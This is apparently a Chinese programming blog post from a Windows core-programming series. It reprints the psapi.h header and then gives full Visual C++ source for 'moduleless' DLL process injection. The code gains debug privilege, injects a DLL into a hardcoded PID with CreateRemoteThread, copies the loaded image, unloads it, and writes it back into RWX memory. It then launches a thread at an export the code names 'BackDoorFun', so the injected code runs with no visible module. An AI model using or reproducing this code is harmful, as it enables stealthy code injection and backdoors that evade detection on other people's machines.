现在的位置: 首页 > 综合 > 正文

基于visual c++之windows核心编程代码分析(63)无模块dll进程注射

2013年02月02日 ⁄ 综合 ⁄ 共 7461字 ⁄ 字号 评论关闭

我们在信息安全编程的时候经常需要进行dll进程注入,

我们在编程中如何实现呢。

需要引用

Psapi.Lib,具体可以百度下载之。

其头文件如下,

odule Name:

    psapi.h

Abstract:

    Include file for APIs provided by PSAPI.DLL

Author:

    Richard Shupak   [richards]  06-Jan-1994

Revision History:

--*/

#ifndef _PSAPI_H_
#define _PSAPI_H_

#ifdef __cplusplus
extern "C" {
#endif

BOOL
WINAPI
EnumProcesses(
    DWORD * lpidProcess,
    DWORD   cb,
    DWORD * cbNeeded
    );

BOOL
WINAPI
EnumProcessModules(
    HANDLE hProcess,
    HMODULE *lphModule,
    DWORD cb,
    LPDWORD lpcbNeeded
    );

DWORD
WINAPI
GetModuleBaseNameA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleBaseNameW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleBaseName  GetModuleBaseNameW
#else
#define GetModuleBaseName  GetModuleBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetModuleFileNameExA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleFileNameExW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleFileNameEx  GetModuleFileNameExW
#else
#define GetModuleFileNameEx  GetModuleFileNameExA
#endif // !UNICODE


typedef struct _MODULEINFO {
    LPVOID lpBaseOfDll;
    DWORD SizeOfImage;
    LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;


BOOL
WINAPI
GetModuleInformation(
    HANDLE hProcess,
    HMODULE hModule,
    LPMODULEINFO lpmodinfo,
    DWORD cb
    );


BOOL
WINAPI
EmptyWorkingSet(
    HANDLE hProcess
    );


BOOL
WINAPI
QueryWorkingSet(
    HANDLE hProcess,
    PVOID pv,
    DWORD cb
    );

BOOL
WINAPI
InitializeProcessForWsWatch(
    HANDLE hProcess
    );


typedef struct _PSAPI_WS_WATCH_INFORMATION {
    LPVOID FaultingPc;
    LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;

BOOL
WINAPI
GetWsChanges(
    HANDLE hProcess,
    PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
    DWORD cb
    );

DWORD
WINAPI
GetMappedFileNameW(
    HANDLE hProcess,
    LPVOID lpv,
    LPWSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetMappedFileNameA(
    HANDLE hProcess,
    LPVOID lpv,
    LPSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetMappedFilenameEx  GetMappedFilenameExW
#else
#define GetMappedFilenameEx  GetMappedFilenameExA
#endif // !UNICODE

BOOL
WINAPI
EnumDeviceDrivers(
    LPVOID *lpImageBase,
    DWORD cb,
    LPDWORD lpcbNeeded
    );


DWORD
WINAPI
GetDeviceDriverBaseNameA(
    LPVOID ImageBase,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverBaseNameW(
    LPVOID ImageBase,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetDeviceDriverFileNameA(
    LPVOID ImageBase,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverFileNameW(
    LPVOID ImageBase,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverFileName  GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName  GetDeviceDriverFileNameA
#endif // !UNICODE

// Structure for GetProcessMemoryInfo()

typedef struct _PROCESS_MEMORY_COUNTERS {
    DWORD cb;
    DWORD PageFaultCount;
    DWORD PeakWorkingSetSize;
    DWORD WorkingSetSize;
    DWORD QuotaPeakPagedPoolUsage;
    DWORD QuotaPagedPoolUsage;
    DWORD QuotaPeakNonPagedPoolUsage;
    DWORD QuotaNonPagedPoolUsage;
    DWORD PagefileUsage;
    DWORD PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;

BOOL
WINAPI
GetProcessMemoryInfo(
    HANDLE Process,
    PPROCESS_MEMORY_COUNTERS ppsmemCounters,
    DWORD cb
    );

#ifdef __cplusplus
}
#endif

#endif

 

无模块dll进程注入请见下列代码与分析

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "Psapi.h"
#include "Tlhelp32.h"


//获得加载的DLL模块的信息,主要包括模块基地址和模块大小
BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)
{
		HANDLE hthSnapshot = NULL; 
		// 取得指定进程的所有模块映象. 
		hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID); 
		if (hthSnapshot == NULL) 
			return FALSE;
		// 取得所有模块列表中的指定的模块. 
		BOOL bMoreMods = Module32First(hthSnapshot, &Thread); 
		if (bMoreMods == FALSE)
			return FALSE;
		// 循环取得想要的模块. 
		for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread)) 
		{
			if (strcmp(Thread.szExePath, Dllfullname) == 0)
				break; 
		}
		if (strcmp(Thread.szExePath, Dllfullname) == 0)
			return TRUE;
		else
			return FALSE;

}
//调整进程权限
BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)
{
	//******************************************************
	//调整进程权限
	//******************************************************
	HANDLE hToken;                 
    TOKEN_PRIVILEGES tkp;     
    //打开进程的权限标记
	if (!::OpenProcessToken(hProcess,       
           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
		   return FALSE;
	//传入lpPrivilegeName的Luid值
    if(!::LookupPrivilegeValue(NULL,         
		  lpPrivilegeName,    
          &tkp.Privileges[0].Luid)) 
		  return FALSE;

	tkp.PrivilegeCount = 1;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
	if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 
                         (PTOKEN_PRIVILEGES) NULL, 0))
						 return FALSE;
	return TRUE;
}
//注入DLL部分
BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)
{
	
	//开辟虚拟空间,以便写入DLL的完整路径
	PSTR pDllName=NULL;
	if((pDllName=(PSTR)::VirtualAllocEx(hProcess,
		NULL,
		strlen(Dllfullname)+1,
		MEM_COMMIT|MEM_RESERVE,
		PAGE_EXECUTE_READWRITE))==NULL)
		return FALSE;

	BOOL  writecode;
	if((writecode=::WriteProcessMemory(hProcess,
		pDllName,
        Dllfullname,
		strlen(Dllfullname)+1,
		NULL))==0)
		return FALSE;

	//取得LoadLibrary函数在Kernel32.dll中的地址. 
	PTHREAD_START_ROUTINE pfnThreadRtn = 
			(PTHREAD_START_ROUTINE)GetProcAddress( 
			GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); 
	if (pfnThreadRtn== NULL)
		return FALSE;
    //打开远线程
	HANDLE  hRemoteThread=NULL;
	if((hRemoteThread=::CreateRemoteThread(hProcess,
		NULL,
		0,
        pfnThreadRtn,
		pDllName,    //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中
		0,
		NULL))==NULL)
		return FALSE;
	return TRUE;
}
//卸载DLL
BOOL UnistallDll(HANDLE hProcess,BYTE  * Address)
{
	
	// 取得FreeLibrary函数在Kernel32.dll中的地址.
	HANDLE hThread  = NULL; 
	PTHREAD_START_ROUTINE pfnThreadRtn = 
			(PTHREAD_START_ROUTINE)GetProcAddress( 
			GetModuleHandle("Kernel32.dll"), "FreeLibrary"); 
	if (pfnThreadRtn == NULL)
		return FALSE;
	// 创建远程线程来执行FreeLibrary函数. 
	hThread = ::CreateRemoteThread(hProcess, 
			NULL, 
			0, 
			pfnThreadRtn, 
			Address, 
			0, 
			NULL); 
	if (hThread == NULL) 
		return FALSE;
	// 等待远程线程终止.
	::WaitForSingleObject(hThread, INFINITE); 
	// 关闭句柄. 
	::CloseHandle(hThread);
	return TRUE;

}

#define pid 3844
#define BackDoorFun 0x1014//DLL模块中导出函数的地址
int main(int argc, char* argv[])
{
	char Dllfullname[255];
	char Dllname[255];
	//打开进程
	HANDLE hRemoteProcess=NULL;
	if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,  
	    FALSE, 
		pid))==NULL)
	{
		printf("OpenProcess faile!!");
		return 0;
	}

	BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);
	if(Adjust==FALSE)
	{
		printf("Adjust process Privileges faile!!\n");
		return 0;
	}

	//获得DLL的完整路径
    strcpy(Dllname,"dll.dll");
	::GetCurrentDirectory(255,Dllfullname);
    strcat(Dllfullname,"\\");
	strcat(Dllfullname,Dllname);

	BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);
	if(Res==FALSE)
	{
		printf("Inject Faile!!\n");
		return 0;
	}
	
	//等待远线程启动,否则获取不到插入的dll信息
	::Sleep(300);
	
	DWORD RemoteTheadAddress=0;
	MODULEENTRY32 Thread = {sizeof(Thread)};; 
	RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);
	if(RemoteTheadAddress==0)
	{
		printf("Get RemoteTheadAddress Faile!!\n");
			return 0;
	}
	
	//分配保存DLL加载后的的缓冲区,并保存
	char *buffer=new char[Thread.modBaseSize+1];
	DWORD read;
	::ReadProcessMemory(hRemoteProcess,
		Thread.modBaseAddr,//加载的DLL模块基地址
		buffer,
		Thread.modBaseSize,//加载的DLL代码的大小
		&read);
	//卸载DLL
	BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);
	if(Unstall==FALSE)
	{
		printf("Unistall dll Faile!!!\n");
		return 0;
	}
	//重新分配虚拟内存,注意从原模块基地址出开始分配
	LPVOID Alloc;
	Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if(Alloc== NULL)
	{
		printf("VirtualAllocEx Failed!!\n");
		return 0;
	}

	BOOL Writer;DWORD Written;
	Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);
	if(Writer==0)
	{
		printf("WriteProcessMemory Failed!!\n");
		return 0;
	}
	//重新启动新的无DLL模块的线程中的函数
	HANDLE  hNewThread=NULL;
	if((hNewThread=::CreateRemoteThread(hRemoteProcess,
		NULL,
		0,
		(PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址
		NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中
		0,
		NULL))==NULL)
    {
		printf("CreateNewThread faile!!\n");
		return 0;
	}
	return 0;
}

 

抱歉!评论已关闭.